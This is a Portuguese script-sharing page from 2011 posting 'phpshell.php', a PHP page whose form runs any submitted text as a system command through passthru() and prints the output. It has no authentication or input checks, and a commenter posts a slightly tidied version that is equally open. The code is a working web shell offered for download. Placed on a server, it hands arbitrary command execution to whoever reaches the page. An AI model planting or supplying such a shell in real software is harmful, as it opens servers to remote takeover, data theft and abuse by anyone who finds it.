Executando comandos através do PHP

Publicado por Perfil removido (última atualização em 01/02/2011)

[ Hits: 8.772 ]

Download phpshell.php




Um simples exemplo de como executar syscalls através do PHP. O retorno do comando é impresso na tela.

[]s

  



Esconder código-fonte

<?php

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of PHP_CMD_Exec
 *
 * @author ox
 */

?>

<html>
<head>
   <title>
      PHPShell
   </title>
</head>
<body>
   <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
      <label id="labelCommand" for="inputCommand">Comando: </label>
      <input type="text" id="inputCommand" name="inputCommand"/>
      <input type="submit" value="Executar"/>
   </form>

   <fieldset>
      <legend style="font-size: 12px; color: green;">Output</legend>
      <?php 
         $command = $_POST['inputCommand'];
         passthru($command);
         echo $commandReturn;
      ?>
   </fieldset>

</body>

</html>

Scripts recomendados

Tempo de execução do script em PHP

Jogo do amor com logs

Gerador de palavras aleatórias

gerador de tabelas em html v2.2

Calendário


  

Comentários
[1] Comentário enviado por rogeriojlle em 01/02/2011 - 16:06h

$commandReturn;
vem de onde?

<?php
$command = $_POST['inputCommand'];
if($command == ""){
echo "digite um comando";
} else {
passthru($command);
}
?>

[2] Comentário enviado por removido em 02/02/2011 - 12:17h

De lugar nenhum.
Eu estava fazendo de outra forma, esqueci isso aí. Hehe.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts